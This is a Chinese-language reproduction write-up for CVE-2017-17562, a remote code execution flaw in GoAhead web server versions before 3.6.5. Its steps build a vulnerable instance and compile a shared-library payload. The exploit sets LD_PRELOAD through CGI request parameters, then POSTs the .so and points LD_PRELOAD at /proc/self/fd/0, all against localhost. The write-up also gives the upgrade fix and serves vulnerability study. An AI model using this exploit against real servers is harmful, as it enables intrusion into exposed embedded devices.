简介


CVE-2017-17562这个漏洞将允许攻击者在版本小于v3.6.5的GoAhead Web服务器中实现可靠的远程代码执行。

当用户使用不受信任的HTTP请求参数来初始化CGI脚本环境时,将会导致该漏洞的出现,而该漏洞将影响所有开启了CGI脚本支持(动态链接可执行脚本文件)的用户。这种行为在结合glibc动态链接器的情况下,攻击者将能够使用类似LD_PRELOAD(一般用于执行函数钩子,详见preeny)之类的特殊变量来实现远程代码执行。

可能有些用户并不了解GoAhead,根据其官网的介绍页面显示,‘GoAhead是目前世界上最流行的小型嵌入式Web服务器’,并且类似IBM、惠普、甲骨文、波音、D-Link和摩托罗拉等多家大型企业都在使用GoAhead。根据我们从Shodan搜索引擎中得到的搜索数据显示,当前互联网中已经有超过735000台设备正在使用GoAhead。

影响版本


GoAhead 3.6.5之前的版本(2.5.0 – 3.6.4)

漏洞成因


参考 https://www.elttam.com.au/blog/goahead/

修复方法


检查版本,如果版本小于3.6.5,请尽快升级至最新版本。

复现


环境安装

使用 https://github.com/embedthis/goahead 在Linux下进行安装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dc@dc-virtual-machine:~/goahead$ git clone https://github.com/embedthis/goahead.git
正克隆到 'goahead'...
remote: Counting objects: 20601, done.
remote: Total 20601 (delta 0), reused 0 (delta 0), pack-reused 20601
接收对象中: 100% (20601/20601), 19.72 MiB | 23.00 KiB/s, 完成.
处理 delta 中: 100% (14857/14857), 完成.
检查连接... 完成。
dc@dc-virtual-machine:~/goahead$ cd goahead/
dc@dc-virtual-machine:~/goahead/goahead$ ls
configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test
configure.bat dist farm.json LICENSE.md make.bat package.json projects src
dc@dc-virtual-machine:~/goahead/goahead$ git checkout tags/v3.6.4 -q
dc@dc-virtual-machine:~/goahead/goahead$ make > /dev/null
dc@dc-virtual-machine:~/goahead/goahead$ cd test
dc@dc-virtual-machine:~/goahead/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
dc@dc-virtual-machine:~/goahead/goahead/test$ sudo ../build/linux-x64-default/bin/goahead

运行成功后,打开 http://127.0.0.1/cgi-bin/cgitest 可以看到下图内容。

生成payload

生成payload的代码如下

1
2
3
4
5
6
7
8
#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
write(1, "Hello: World, This is DC!\n", 30);
}

创建该文件后,生成payload.so

1
2
3
4
5
6
7
dc@dc-virtual-machine:~/goahead/poc$ vim payload.c
dc@dc-virtual-machine:~/goahead/poc$ ls
payload.c
dc@dc-virtual-machine:~/goahead/poc$ gcc -shared -fPIC ./payload.c -o payload.so
dc@dc-virtual-machine:~/goahead/poc$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World, dc@dc-virtual-machine:~/goahead/poc$ ls
payload.c payload.so

然后执行

1
2
3
4
5
6
7
8
9
10
dc@dc-virtual-machine:~/goahead/poc$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10
HTTP/1.0 200 OK
Date: Mon Jan 15 06:38:57 2018
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Hello: World, This is DC!
Content-type: text/html

在返回结果中可以看到,payload.so里面打印的输出Hello: World, This is DC!被GoAhead执行了。
到目前为止,payload是在本地加载的,而在远程服务器上,必须能够将payload远程加载进主机,可以使用下面的方法加载构造好的payload

dc@dc-virtual-machine:~/goahead/poc$ curl -X POST --data-binary @payload.so http://127.0.0.1/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  8120    0     0  100  8120      0   8011  0:00:01  0:00:01 --:--:--  8015
curl: (18) transfer closed with outstanding read data remaining
HTTP/1.1 200 OK
Date: Mon Jan 15 06:46:34 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Hello: World, This is DC!

可以看到,Hello: World, This is DC!成功打印了,这里利用了LD_PRELOAD包含了磁盘上的临时we那件,这个文件就是我们的payload。测试到此结束,攻击成功。

参考


  1. https://www.exploit-db.com/exploits/43360/
  2. https://github.com/elttam/advisories/tree/c778394dfe454083ebdfb52f660fd3414ee8adb8/CVE-2017-17562
  3. https://www.elttam.com.au/blog/goahead/
  4. http://slab.qq.com/news/tech/1701.html
  5. https://github.com/embedthis/goahead
  6. http://embedthis.com/goahead/